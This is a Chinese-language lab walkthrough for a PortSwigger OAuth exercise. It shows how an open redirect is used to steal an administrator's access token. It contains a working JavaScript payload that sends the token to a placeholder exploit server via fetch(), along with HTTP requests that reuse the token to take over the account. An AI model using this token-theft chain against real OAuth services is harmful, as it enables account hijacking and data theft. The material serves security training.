从业者-OAuth服务漏洞-通过开放重定向窃取访问令牌
# 实验室:通过开放重定向窃取OAuth访问令牌
# 题目
此实验室使用 OAuth 服务,允许用户使用其社交媒体帐户登录。由于 OAuth 服务存在验证缺陷,导致攻击者有可能将访问令牌泄露到客户端应用程序上的任意页面。
若要解决实验室问题,请在博客网站上识别一个开放重定向,并使用它来窃取管理员用户的帐户访问令牌。使用访问令牌获取管理员的 API 密钥,并使用实验室横幅中提供的按钮提交解决方案。
笔记
登录管理员的帐户之后,你无法直接访问其 API 密钥。
管理员用户将打开你从漏洞利用服务器发送的任何内容,并且他们始终与 OAuth 服务保持活动会话。
你可以使用以下凭据登录到自己的社交媒体帐户:wiener
:peter
。
- name: 实验室-从业者
desc: 通过开放重定向窃取OAuth访问令牌 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-an-open-redirect
bgColor: '#001350'
textColor: '#4cc1ff'
1
2
3
4
5
6
2
3
4
5
6
# 实操
(目前只有图,文字后面有时间补)
点击 “ACCESS THE LAB” 进入实验室。
/oauth-callback/../post/next?path=https://<漏洞利用服务器>/exploit
1
<script>
const urlSearchParams = new URLSearchParams(window.location.hash.substr(1));
const token = urlSearchParams.get('access_token');
if (token == null) {
window.location = "https://<OAuth服务器>/auth?client_id=sdq9z6a7bpvop5mz4vweg&redirect_uri=https://<受害域>/oauth-callback/../post/next?path=https://<漏洞利用服务器>/exploit&response_type=token&nonce=-1137724620&scope=openid%20profile%20email"
} else {
fetch('https://<漏洞利用服务器>/me?attack=' + token)
}
</script>
1
2
3
4
5
6
7
8
9
10
2
3
4
5
6
7
8
9
10
qwDhBynbW9wC4wPUNZNKP-yjX1vcyp6-FNGiemqMvkv
GET /me HTTP/2
Host: <OAuth服务器>
Authorization: Bearer <访问令牌>
Content-Type: application/json
1
2
3
4
5
6
2
3
4
5
6
uQufrxVOCOeFOxcBmrslSbqlaVkSxBLU
# 实后娱乐
POST /authenticate HTTP/2
Host: <受害域>
Content-Type: application/json
Content-Length: 122
{"email":"administrator@normal-user.net","username":"administrator","token":"<访问令牌>"}
1
2
3
4
5
6
2
3
4
5
6
编辑 (opens new window)